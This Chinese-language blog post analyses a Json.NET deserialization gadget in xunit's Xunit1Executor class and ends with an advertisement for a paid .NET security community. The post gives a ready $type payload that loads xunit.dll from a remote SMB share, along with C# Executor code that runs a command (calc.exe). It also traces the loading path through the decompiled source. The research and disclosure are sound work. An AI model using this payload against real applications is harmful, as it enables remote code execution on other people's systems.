.NET 反序列化Xunit1Executor漏洞分析

.NET 反序列化Xunit1Executor漏洞分析

专攻.NET安全的 dotNet安全矩阵 2024-03-10 09:21

01

Xunit1Executor漏洞复现

Xunit.Net
是一款
.NET
平台免费开源的单元测试框架,常用于并行测试和数据驱动测试。目前支持
.Net Framework

.Net Core

.Net Standard

UWP

Xamarin
等平台。这个组件中的
WindowsLibrary
类在反序列化时可加载
UNC
路径下的非托管
dll
,从而触发任意命令执行漏洞,下面我们将详细介绍漏洞原理及复现过程。

xunit
组件可以在
Nuget
上获取,打开项目包管理器,浏览名为
“xunit.runner.utility”
的包,点击安装即可。接着使用
Ysoserial
生成
Payload
,具体
Payload
代码如下所示

{
    '$type':'Xunit.Xunit1Executor, xunit.runner.utility.net',
    'useAppDomain':true,
    'testAssemblyFileName':'\\192.168.101.86\\Poc\\xunit.dll'
}

上述代码通过远程SMB
协议建立主机之间的通信后,再加载基于
C#
实现的托管
xunit.dll
文件,而
xunit.dll
实现上需要
Executor

public class Executor
    {
        public Executor(string poc)
        {
            ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c calc.exe");
            Process proc = new Process();
            proc.StartInfo = psi;
            proc.Start();
        }
    }

最后调用
JSON.Net反序列化执行,虽然抛出异常,但不影响触发命令执行,如图所示

.NET 反序列化Xunit1Executor漏洞分析 -1

02

漏洞分析

反编译打开
xunit.runner.utility.dll
分析源代码,快速定位到
Xunit1Executor
类,该类创建对象时会调用默认的构造方法

.NET 反序列化Xunit1Executor漏洞分析 -2

图中
Xunit1Executor构造方法创建一个新的 AppDomain用来加载单元测试用例提供的.NET程序集。程序集的路径由Xunit1Executor.GetXunitAssemblyPath方法获取,
如图所示。

.NET 反序列化Xunit1Executor漏洞分析 -3

从代码实现上可以看出加载的文件名为
xunit.dll,因此我们在反序列化构建Payload时也需要提供同名的dll文件。接着构造方法里使用CreateObject方法从xunit.dll程序集中创建类型为 Xunit.Sdk.Executor的对象

this.executor = this.CreateObject("Xunit.Sdk.Executor", new object[]
{
    testAssemblyFileName
});

跟进
CreateObject方法的定义,发现是定义在IAppDomainManager 接口中,AppDomainManager_AppDomain类实现了IAppDomainManager 接口,也重写了CreateObject方法,如图所示。

内部还是调用了
AppDomain.CreateInstanceAndUnwrap 方法在AppDomain中创建了Xunit.Sdk.Executor对象,AppDomain.CreateInstanceAndUnwrap方法可以通过反射程序集的方式创建对象从而执行命令.
本文PDF
版已经
发布于
dot.Net安全矩阵星球知识库,
感兴趣的师傅请自取。

03

欢迎加入知识库

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。
只需199元就可以加入我们。

目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

星球文化始终认为授人以鱼不如授人以渔!
加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!
其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。.NET 反序列化Xunit1Executor漏洞分析 -5

我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

我们还有一个会员专属的星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。
此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。

.NET 反序列化Xunit1Executor漏洞分析 -7

.NET 反序列化Xunit1Executor漏洞分析 -8